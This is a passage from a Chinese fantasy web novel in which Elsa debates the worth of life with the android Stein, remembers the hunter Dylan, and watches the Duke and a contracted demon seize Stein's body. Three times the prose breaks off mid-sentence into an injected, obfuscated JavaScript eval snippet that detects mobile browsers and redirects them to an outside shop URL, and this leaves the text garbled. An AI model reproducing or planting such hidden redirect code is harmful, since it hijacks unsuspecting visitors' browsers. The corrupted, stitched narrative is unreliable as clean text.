“什么！？”艾尔莎惊呼，又怕吵醒了别人捂住了嘴。她压低声音：“这个手术的代价是公爵的死亡？” “嗯，他已经做好了心理准备。” “可你能接受吗？”艾尔莎蹙起眉：“我总觉得，公爵对您很好。” “公爵是查尔斯的好友，查尔斯过世后，他一直把继承了查尔斯知识的我，当作儿子一样看待。” 洋房里精心准备、时常打扫的房间，无微不至的照顾，父亲般的嘘寒问暖……即便知道斯坦因特殊到可能永远不会被打动，公爵还是十年如一日地对待他。 手指旋转起头上的螺丝，又轻轻放开，斯坦因垂下视线：“他说的对，我没有理由拒绝，而且，我应该为有这样的机会感到兴奋。” “什么叫做‘应该’？意思是……”艾尔莎试探地问：“你犹豫了吗？” “如果对乔夫·布朗进行手术，那么我将获得第一手的研究资料，研究将取得突破。”斯坦因没有直接回答她的问题：“不过，我的情感似乎和理智出现了偏差。” 艾尔莎诧异地看着他，看着他完美无缺的外壳破了条缝，流露出掩藏的烦恼和犹疑来。那是艾尔莎几乎未曾在杀伐果断的斯坦因脸上见过的，生动而真实的情绪。 “这不是件好事吗？”艾尔莎发自内心地为他感到高兴：“你说你是毫无感情的人造人，但事实看来并不是这样。会因情感动摇，不正是人心才具有的特性吗？” “查尔斯设计我时，并没有植入记忆，我想，是为了剥去情感对我的影响，能够更客观地推进研究的进行。”斯坦因显然不觉得这是件好事：“但我却像个人类般，变得犹豫和软弱了。” “像人类怎么了？”艾尔莎挺起胸膛：“像人类可不只是有坏处，人类是种优缺点都很明显的存在。” “优点？比如说？” 艾尔莎支吾了一会，她暂时没能想起来，“肯定有的！”她嘴硬道，底气稍显不足。 “查尔斯先生，”她灵机一动，搬出了这个万能的挡箭牌：“他就是人类啊！” “可如果他是人造人，就会有更长的时间，和更优越的专注力，取得比现在还要突出的成就。”斯坦因摇了摇头，语气里满是不赞同：“可他却把时间和精力分去谈恋爱了。” “我不认可！”艾尔莎立刻和他划清关系：“你这话可千万别给夫人听到了。” “先不谈人类和人造人的优劣，”斯坦因转了话题：“从理智上来衡量，公爵的生命终将走向死亡，而且余留下来的时间并不多，如果能以此换来卓越的进步，就能在他有限的生命上发挥出最大的价值。” “而且公爵已经做好了准备。”斯坦因的声音冷了些，像是在给犹豫不定的自己敲下审判锤：“没错，效率和价值上来看，我应该做这台手术。” “啊，原来是这样。”在短暂的茫然后，艾尔莎恍然大悟：“我知道了，为什么我会不赞同你去做这台手术。” “没有准备好的人，不是公爵，而是你，斯坦因。”她终于厘清萦绕在她心头的违和感是什么了：“就是因为你总是把所有东西都放在秤上，去比较和评判它们谁轻谁重。” 艾尔莎缓缓摇头，“但生命是无价的，你根本就还不知道生命的宝贵，又怎么能去轻率地承担呢？” “无价？”斯坦因挑起眉:“这是个漂亮话，但艾尔莎，或许你该现实点。” 没等艾尔莎反驳，斯坦因继续说：“现实意义上的生命价值，和社会资源相挂钩。我问你，公爵的生命和乞丐的生命等价吗？风烛残年的老人和正值壮年的青年，他们的生命价值一样吗？” 斯坦因的问题很犀利，让艾尔莎微微怔楞，然而这个问题她并不陌生，在很久前，她也问过狄伦类似的问题。 那时她刚成为药剂师的学徒没多久，有一天，镇上出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991241|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现了狄伦一伙人的通缉令。 听说是附近城邦的领主发起的，声称狄伦他们绑架了一位贵族公子哥，并索取了高昂的赎金。 狄伦他们前几天刚在村庄里安顿，但他们行踪不定。艾尔莎着急得不行，在他们经常路过的山道中等待，她运气够好，没多久就碰上了独行的猎魔人。 “狄伦，”艾尔莎从树丛里跳出来，拦在了他面前：“你怎么这么悠闲啊！” “你好像长高了。”狄伦惊喜地看着她，揉了揉她蓬乱的头发。他显然知道通缉令的事，开起了玩笑：“你是来领奖金的吗？” “你们得躲起来，”艾尔莎紧张地说：“趁风头小了再行动。” “不错的提议，”狄伦语气正经地回答，但艾尔莎知道他没放在心上：“我现在有点事，回来聊。” 他的手中握着两个钱袋，看起来崭新的那个鼓囊囊的，因为太充实而无法系紧口袋，露出黄澄澄的金币。 猎魔人虽然会四处行走接任务，但报酬高昂的任务可不多，大多数时候他们的手中都紧巴巴的。 艾尔莎对那个通缉令相信了几分，以为他要去销赃，连忙小跑跟上，“我和你一起去。” “你好像误会了什么，这可不是个愉快的差事。” 如果艾尔莎当时没有在心里盘算着该如何劝阻狄伦，或许她就能更仔细地发现，虽然他和平时一样带着散漫的微笑，但他的眼底并没有笑意。 她跟随着狄伦来到了一户简陋的木屋前，正巧撞上中年的女主人回家，她的脸色看起来不太好，边咳嗽，边拎着不断溅出水的木桶。 当狄伦接过水桶时，她惊讶地抬起头来，困惑看着面前两个陌生的年轻人。 “有什么事吗？”她打量着狄伦，脸色微微变了，似乎预感到了什么：“你是猎魔人？” “没错。”狄伦将手中的两个钱袋交给妇人：“这是杰克托我带给您的。” 除了那个崭新的钱袋外，旧钱袋的包装磨损严重，还有暗沉的斑块，艾尔莎忽然意识到那可能是残留的血迹。 “杰克，他还好吗？”妇人的双肩抖起来，像是无法承担将要到来的坏消息，但她依然保持着最后的希望，她拽住狄伦的衣服：“他为什么不自己拿给我？” “我很抱歉，”狄伦注视着她，看着那双流露祈求的眼睛失去光彩：“杰克他，牺牲了。” 猎魔人并非无敌的，而自然能创造的怪物是千奇百怪的，量力而行是这行默认的规矩。 跨越自身界限的猎魔人简直是在死神的刀尖上跳舞，杰克就是个例子。 他还是个年轻的毛头小子，听说因为小时候无法控制好自身特殊的力量，在村庄里误伤了乡绅的孩子，为了高额的赔偿，家境一落千丈，父亲因为负债跑了，只留□□弱多病的母亲苦苦支撑。 他把自己卖给了过路的猎魔人，成为了猎魔人的弟子。没多久他就自己单干了，只挑那些最贵最危险的活。 狄伦在酒吧遇到过杰克，杰克拒绝了狄伦入伙的邀约。 “我的妈妈需要钱，她要看病。”杰克说：“而且，我刚接了个活，有个贵族公子要花高昂的雇佣金来找个保镖。” “等这单结束，”杰克露出一口大白牙：“我就考虑加入你们。” 然而任务出了意外，为了保护委托人，杰克付出了生命的代价。等狄伦听到消息赶到时，杰克的肚子被剥开了，最厉害的药剂都无法挽救他的生命。 “把我的，钱袋，给她……”杰克用最后一口气说：“告诉她……” “我会交到她手上的，”狄伦取下他腰间的钱袋，握紧杰克的手，他的手还很稚嫩：“我会告诉她，你爱她。” “不，”弥留的猎魔人轻轻地说：“告诉她，对不起……就当，没有我这个儿子。” 25. 价码＆戒严 “我不需要他的钱治病，”妇人瘫坐在地上，虽然被狄伦扶着双臂，但她的精神和身体都被突如其来的坏消息打垮了：“我不需要他的卖命钱。” “我原本是想着，他在村庄里过不下去了，换个地方生活也好。或许，或许猎魔人可以接纳他呢。”眼泪从她的眼眶中源源不断地涌出来：“是我错了，都是我的错，我不该让他去送死的。” “死”这个字压垮了她摇摇欲坠的理智，沉痛的现实当头塌下来，像从她的胸腔中挤出来的凄厉哭声回荡在山谷中，命运简直要把这个苦命的女人揉碎了。 “我不要钱，我要杰克。”她反复念叨，翻来覆去地说：“都是我的错。” 艾尔莎和狄伦沉默地陪着她，直到她哭得筋疲力尽。狄伦将她送回房间安顿好，又联系了邻居进行照看，艾尔莎看着狄伦将第三个钱袋——他自己的钱袋，交给了游医，嘱咐他寸步不离的照料。 一切安排妥当，他们踏上回程，狄伦打趣着调节气氛：“艾尔莎，要不你还是去把我举报了吧？奖金一人一半。等我被抓了后，我再想办法逃出来。” 艾尔莎没有理他，她在不知不觉中泪流满面，不住啜泣。 狄伦叹了口气，半蹲下身：“你怎么也哭得像个水龙头一样？” 艾尔莎抽泣着说：“狄伦，你绑架贵族，是为了佣金吗？” 接任务的猎魔人为保护雇主死亡，雇主却借机反悔，不愿意付出许诺的佣金。 狄伦带上伙伴，将出尔反尔的贵族公子倒吊在城墙上，直到他的家人付清了那笔赎金。 “我只是要回了应得的。”狄伦淡淡地说。 “有人为了保护他送命了，为什么他却连佣金都拒绝付？这不公平。猎魔人的命和贵族的命不一样吗？” “他的价值难道只是那袋金币决定的吗？” “当然不是。” “是啊。”他摸了摸艾尔莎的头：“我想他的妈妈就绝对不同意。而且，即便出生就有不平等，但我也不会让猎魔人的价值如同草芥般无足轻重，”狄伦金色的眼眸里藏着艾尔莎读不懂的光芒，“绝对不会。” 她离死亡还太遥远了，但这是件好事，狄伦温柔地看着艾尔莎，拿出手帕帮她擦掉眼泪。他听到她抽噎着问他：“狄伦，你也会死吗？” 他的表情出现了瞬间的黯然，但他很快就轻松地避过：“我可不是不死族，终有一天还是要死的，不过好在我老得慢，帅气的外表也能保持的比较久。” “我不会用金币交换你的，”艾尔莎止住哭泣，明亮的双眼就像是清冽的月色，让狄伦想起会在晴朗的夜里出现的，纯澈而无私的月光：“再多也不会。” “我知道。”他揉揉她的头发：“能决定我们的价值的只有我们对待生命的态度。直面死亡的人，才会认识到生命的无价。但也不能因见惯了生死就麻木，敬畏且无畏，才是我们活着的证明。” “要怎么才能在敬畏的同时无畏呢？”艾尔莎不解地问。 “人恰恰只有在畏惧时才能无畏，”狄伦说：“特别是当你有比生命更高的信仰时。” 狄伦坚定的神情，即便过了这么多年，艾尔莎却始终没有忘记。回忆中的泪水似乎穿过时空而来，带来了凉冷的气息，艾尔莎把目光从堡垒外黑暗的荒野收回来。 她看向斯坦因，眼里已经没有了迷茫：“我早知道，只要从这里随便拿出一个装饰品，就可以让穷人为之卖命。” “但是，生命真正的价值，不只在于你计算出来的这些。因为人类相信生命无价，才会以‘人’的视角为基点，去衡量这世间万物的高低贵贱。对一个人来说无足轻重的陌生人，对令一人来说却是千金不换的宝贵。” 艾尔莎将她的想法娓娓道来：“这是我们赖以生存的信仰。如果信仰崩塌，那建立其上的所有价值也会分崩离析。就像灵魂是难以量化的一样，只看能量化的价值，会忽然我们生命中真正珍贵却又免费的东西。” “我无法体会到你说的那些虚无缥缈的东西。”斯坦因皱起眉，无法量化，又无法触摸的东西只会扰乱他：“而且，这跟我是否能做手术又有什么关系？” “能够掌控生命的人，更应该对生命要有敬畏和谦卑。”艾尔莎说：“人性中有同理心，应当如同珍惜自己的性命般尊重他人的生命。可斯坦因，你甚至都不觉得自己的生命宝贵。” “或许只是价码不够高。”斯坦因挑起眉。 “无论价码多高，”艾尔莎坚定地说：“我都不会因为价码而出卖自己或别人的生命。” “听起来很理想化，”良久，斯坦因缓缓开口：“你知道西西弗斯神话吗？” 西西弗斯触犯了众神，为了惩罚他，众神要求他把一块巨石推上山顶。而由于那巨石太重了，每每未上山顶就又滚下山去，前功尽弃，于是他就不断重复、永无止境地做这件事—— 西西弗斯是个荒谬的英雄。他以自己的整个身心致力于一种没有效果的事业。 “理想和现实永远不可调节，反抗这二者落差的过程，即对抗荒谬的过程。你就像是无法抵达山顶的西西弗斯。”斯坦因的嘴角轻轻上扬：“我依然对你的观点持有保留意见，但不可否认这次争论有些意思。” “公爵的手术我还是会做。”放下了摇摆不定的纠结，斯坦因的神色轻松了很多：“只是并不急于一时，有些疑虑还要解决，我会等彻底准备好了再说。” 艾尔莎没指望能说服斯坦因，她比任何人都清楚斯坦因对实验的执念。但只要在那难以侵入的钢铁堡垒中，埋下一颗种子就好了。 她会耐心地等待种子的发芽。 怀抱着这样的想法，艾尔莎回到了房间。在公爵的堡垒里，连作息时间都是严格控制的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991242|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 过了宵禁，艾尔莎躺在床上。突然回到正常的作息，她还有些不适应。她在床上翻来覆去，渐渐陷入浅眠。 半梦半醒间，她听到纷乱的脚步声，还有急促的叩门声，她很快意识到那不是梦境。 艾尔莎打开房门，门外站着女仆长，艾尔莎才发现走廊上的仆人们都行色匆匆地提着行李。 “都快到中午，你怎么才醒。”女仆长劈头盖脸的责问迎面而来。 “发生了什么事？”艾尔莎惊讶地问：“大家要去哪？” “这两天堡垒会戒严，无关紧要的人都得离开。” “什么？”艾尔莎更困惑了：“为什么？” 女仆长沉默了两秒钟，似乎在衡量是否要将信息告诉她：“斯坦因少爷要为公爵进行手术。” 这个消息太意外了，明明昨天斯坦因还说要推迟来着。艾尔莎朝外探头：“斯坦因少爷呢？我要见他。” “你没有时间见他了，”似乎觉得这是个无礼的要求，女仆长语气不耐：“还有不久，堡垒就会进入全面封闭的战时状态，再待在这就无法离开了。而且，斯坦因少爷有他的职责要完成。” “你现在就去换好衣服，跟我走。”女仆长以不容拒绝的气势说。艾尔莎才反应过来，她是特意来监督自己离开的。 等艾尔莎换完装走出门，仆人们都已经撤离得差不多了。 艾尔莎被女仆长半推半就地被带到走廊上，经过两侧敞开的空房间。一种不详的预感袭上了艾尔莎的心头。 快到大门前，艾尔莎停住了脚步：“等等，我不能走。” “你在说什么呢？”女仆长睁大了眼睛：“这是公爵的命令！” “我是噩梦餐厅的人，不是公爵的女仆，在没有听到斯坦因少爷亲自下的指令前，我是不会离开的。” “你……”女仆长震惊地看着她，她还从未遇到过反抗公爵命令的平民，她不可思议地说：“你是忘了自己的身份吗？” “我没忘，忘了的是你。如果你对我不满，可以去找斯坦因少爷。但现在，我对你不负有任何义务。” “公爵说的没错……”她愤愤不平：“像你这样没教养的平民，没有资格留在斯坦因少爷身边。” 艾尔莎不再管她说什么，因为堡垒的外观开始改变了，走廊上的窗户升起铁栏杆，紧接着严丝合缝的厚实铁板遮蔽了阳光，走廊瞬间暗了下来。 堡垒的铁门渐渐下降，这重达千钧的铁门一看就不是能够轻易打开得。出去还是留下来，做选择的时间不多了，而女仆长还在尽忠职守地在和她僵持。 艾尔莎抽出钉枪，将一颗钉子射到了女仆长的脚边。 滔滔不绝的话语戛然而止，女仆长的脸色刷白。 “你要留就留，要走就走，但别妨碍我。”艾尔莎绕过她，朝房内奔去：“我要去找斯坦因了。” 26. 恶魔＆规则 “为什么忽然间让仆人都撤走？还让堡垒进入战时状态？” “你来了啊，”书房里，公爵戴着单片眼镜，正专注于手中的书写，他对斯坦因指了自己身旁的座位：“稍等，我正在写遗书，就快结束了。” “你不需要现在写，”斯坦因的视线扫过侍立在旁的管家：“手术的事并没有那么着急，我还有顾虑要解决。” 公爵瞥了他一眼，状似不经意地问：“让你犹豫的，难道是那个人类女仆吗？” 斯坦因微愣，随即感到了不悦：“你监视我们？” “忽然带了个陌生人来我这，我当然会在意。”公爵停下了手中的羽毛笔，朝他看来：“我对你有点失望，斯坦因。” “是你太急切了，”斯坦因皱眉，他认为公爵有未说明的难言之隐：“连替换用的身体都没有准备好，公爵，你到底在计划什么？” “知道吗？斯坦因，我十分羡慕你。”公爵摘掉眼镜，向后靠进椅背，他疲惫地揉着眼睛：“人造人既有不会衰老，永远强壮的体魄，又有聪明博学，不为情感所扰的头脑，简直是这个世界上最完美的造物。” “可你似乎在浪费你的天资，”公爵睁开眼，锐利的视线仿佛要穿透斯坦因：“就像把一流的艺术品变成三流的仿冒货，让我感到遗憾。” 斯坦因沉默半晌，抬起冰雪般的眉眼：“你对我很好，可以说，超越了对待一个仿生人应该有的热情。” “你是查尔斯的继承人，在你身上我总会看到他的影子。”想起好友的音容相貌，公爵微微怔楞：“所以一直以来，我也将你当成是我的儿子，即便你不会对我有父亲般的敬爱。” “你把我当成人类对待，却不愿我变成人类吗？” “我见过太多人了，人类有什么好的？”公爵发出冷笑：“有些人即便不是仿生人，也早就没有人性了。变成人类只会让你劣等。” “可是有些人不一样。”斯坦因想起了艾尔莎，她的身体里似乎蕴藏着奇妙的力量，让斯坦因无法不好奇，不投以注目。 “你就如同这座堡垒，看着难以攻破，但一旦被找到了入侵的缝隙，就会溃不成军。”公爵一眼看穿了他的想法：“所以接近你的人，都应当好好筛选他们的身份，免得他们心怀不轨。” “不，”斯坦因断然否认了：“艾尔莎不是你说的这种人，你不了解她。” “她有什么价值是需要我了解的？”公爵再次板起脸，斯坦因逆反的话触犯到了他的权威。公爵不悦地说：“你现在表现得就很盲目。” “斯坦因，我再给你最后一次回归正轨的机会。”公爵停顿了一会，语气严肃地说，似乎这对他接下来的决策也非常重要：“权柄在你手里，想好了再回答。” “我不能在有疑虑的时候进行灵魂置换手术，也不能被半强迫进行，所以绝对不是现在。”斯坦因没有退让：“我已经想得很清楚了。” 沉默的僵持中，公爵重重叹了口气，他将眼镜砸到桌上，发出清脆的玻璃碎裂的声音：“好、好，既然你要自暴自弃……” 年轻的管家似乎是要打圆场，他倒了杯红茶放到斯坦因手边。 “请用。”他礼貌地说。 “既然如此，”红茶的香气中，斯坦因听到公爵的声音低沉但清晰：“……还不如由我来接收你的身体。” 气氛在瞬间冷凝。率先发难的是斯坦因，他的手变成了锋利的镰刀，划开气流劈向管家。 管家用盘子挡了下，那沉重的木盘瞬间被一分为二。 管家向后跃去，拉开距离。 “别动，”斯坦因举着手臂对着他，他的掌心出现了枪管：“你是什么？” “怎么察觉到不对劲的？”苍白的年轻人微笑：“我觉得我扮演的这个管家还算合格？” “你身上是有人类的气息，先前你一直和我保持距离，我只觉得有点奇怪。”斯坦因轻轻眯了眼睛：“所以我就干脆试了下，人类是绝对躲不过我刚刚的攻击的。” “原来如此，我得按捺住身体对危险下意识的反应才行，”管家若有所思地点点头：“有用的经验，下次我就知道了。” 说话间，他的外表发生了剧烈的改变。 两只蜷曲的羊角从额头生长出，他将用来伪装的面皮撕去，露出一张阴柔而英俊的脸，竖瞳里闪烁着兴味的光芒。 斯坦因的脸色微微变了：“恶魔？” “主人，您的决策是对的。”羊角恶魔朝公爵鞠躬：“单凭战斗力的话，我是打不过他的。” 恶魔可不常见，召唤他们需要神秘仪式，以及付出巨大的代价。在恶魔体系中，只有和恶魔缔结契约的人才被称之为主人，斯坦因不可置信地看向公爵：“你和恶魔做了交易？” “没错，我把现有的公爵的身份，和关联的地位财产，都交换给了恶魔。”公爵语气平静：“作为回报，规则恶魔将为我取得你的身体。” “你用受伤诓骗我来到这，手术也只是个幌子。”斯坦因很快想通了前因后果：“实际上，你只是想要创造一个夺取这具身体的契机。” “手术是对外的说辞，毕竟，我原本觉得你不会拒绝。等手术后，‘公爵’会自然死亡，而获得了新身体的‘斯坦因’会开启新生活。”公爵说：“可我没想到，你居然会犹豫……我可没打算等太久。” “这就是为什么你在写遗嘱。你不能让‘新的你’背上杀害‘旧的你’的罪名。”斯坦因垂下目光：“原来你昨天的说辞都是假的。” “很抱歉，斯坦因，你的确天赋卓越，但还没有成熟到能担负起我的性命。让你做灵魂交换手术并不是明智的选择，”公爵用温和的语气说着冷酷的话：“况且我认为现在的你，根本就配不上查尔斯为你塑造的身体，把它乖乖交出来，我才能实现它最大的价值。” “是吗？”斯坦因动了，他的腿部装有推进装置，这能使他的速度不逊于瞬间移动，连恶魔都没能反应过来，斯坦因已经将手指抵在了公爵的太阳穴上：“如果我拒绝呢？” 他能轻松地穿破公爵的太阳穴，就如同穿破一张纸般容易。 公爵对恶魔竖起手掌，示意他稍安勿躁。“你要挟持我吗？”公爵问，“还是想杀了我？” 斯坦因冷静地算计，面前的恶魔还没有使用特殊能力，挟持公爵作为人质，或者干脆杀掉公爵以绝后患，都是理性的抉择，而且事后还可以用遗嘱逃脱麻烦。 指尖下的太阳穴突突直跳，这是公爵身上少有没有机械化的部位，以和心脏相同的频率在迸发着脆弱的生机。 他的情感再次背叛了理智。 斯坦因沉默了几秒，最终还是放开了囿于掌心的人质。他选择了不伤害公爵的方法，即便这意味着需要承担多余的风险。 斯坦因推开公爵，举起手臂对准封闭的窗户：“你困不住我的。” “哦，又一次，错误的决定。”公爵下令：“规则恶魔，用你的权柄！” “是，主人。”恶魔彬彬有礼地说，他合拢双手，一个黑色的倒十字架出现在他的双手间，缠绕在十字架上的锁链铃铛作响。 锁链抽打向斯坦因，于此同时，覆盖到斯坦因脚下的黑色魔法阵亮起纹路。 斯坦因朝锁链发动火力，飞速的子弹却无视物理规则，径直穿过了锁链。 这条锁链没有实体，斯坦因反应过来，这并不是真实的锁链 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991243|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，而是某种规则的具象化。他想躲开，双脚却被黑色的契约牵制住了，涌出的黑水如同深陷的泥潭禁锢着他。 锁链牢牢地缠住了斯坦因，无法抗拒的力量拽着他单膝跪地。 “别费劲挣扎了，这是只针对你的规则锁链。”规则恶魔露出笑容：“毕竟你的力量太强大了，只能用专属定制的锁链。” “那么现在，”公爵缓步走到恶魔身边，看着已成为囚徒的斯坦因：“开始夺取他的身体吧。” 艾尔莎经过一楼的空房间，朝里张望。 她不知道斯坦因在哪，只能每间房都进去看看。找了没多久，她忽然听到前方传来模糊的说话声。 那一定就是公爵和斯坦因了，艾尔莎连忙朝那跑去，刚到门口就看见了惊骇的一幕。 黑色的法阵符文，铺满了书房的地面，而涌起的黑色烟雾如同实质的绷带般，缠绕住了斯坦因。 斯坦因紧紧地闭着双眼，拧起的眉毛像是无法承担某种痛苦，绑带般的黑烟雾蒙上了他的脸，将他彻底吞没。 “斯坦因！”冲动先于理智，艾尔莎冲了进去。她踏进泥泞的法阵，艰难地靠近斯坦因，还没等她接近，黑色烟雾纷纷散开，争先恐后地被法阵吸收。 斯坦因倒在了法阵中心，他银白的长发和斑驳的皮肤都不见了，只剩下一副闪闪发亮的钢架骨架。 皮肉被法阵吞噬，露出了复杂的骨架结构，和胸前透明薄片下精密运行的线路。 铂金颅球里，代替眼睛的光电管此刻黯淡无神。 要不是目睹了刚刚的一切，艾尔莎甚至都无法认出他。 “斯坦因！”艾尔莎飞奔到他身边，她大声呼唤陷入昏迷的人造人，没有得到任何回应。 这是怎么回事？艾尔莎惊恐地看向公爵和他身旁长着角的恶魔，她从恶魔的服饰上，认出了这就是先前的管家。 但看到他们两的神情时，艾尔莎的求助卡在了嗓子眼，心凉了半截。 “你怎么会在这？”公爵惊讶地看着她：“你应该已经离开了。” 公爵俯视着艾尔莎，这个平民女孩是出现在他此次计划中的变数，她甚至能影响到斯坦因的看法，而现在，还闯进了他精心布置的罗网。 艾尔莎抬头看向逼近的公爵，“你怎么能伤害他？”艾尔莎质问道，此刻她完全忘了面前这个人高贵的身份，“他明明那么信任你！” “看来你还没学会礼仪。以你的身份，不该打扰我们的谈话。”公爵语气温和，毫不留情地下了指令：“管家，先杀了她。” “嗯？不先继续夺取身体吗？”恶魔提出异议：“这个仿生人很麻烦，要夺取完整的身体必须要分为皮肉、骨骼、核心三次进行。不赶紧趁他昏迷解决剩下两次吗？” “没关系，”公爵冷漠的眼神睥睨着艾尔莎：“先把变数解决。” “是，主人。不过，我的第一条锁链的对象只限于斯坦因。”恶魔提醒他：“额外的锁链需要额外的报酬。” “你还想要什么？” “唔，想要你的头。”恶魔想了想后说：“反正事情处理完，你现在的这副衰老的身躯也没用了，那就把头给我吧，我可以做完防腐措施后装饰在地狱。” 公爵没有对他的恶趣味发表任何意见：“成交。” “是，主人。”管家合拢双手，白手套间又一次显现黑色的逆十字架，但多了条锁链。艾尔莎根本来不及反应或者逃跑，就被里三层外三层地捆绑了起来。 “第一条锁链的规则是，只要斯坦因踏入锁链攻击的范围，就可以夺取他的身体。”规则恶魔说：“要怎么使用这第二条锁链呢？请为这条锁链定下规则吧，主人。”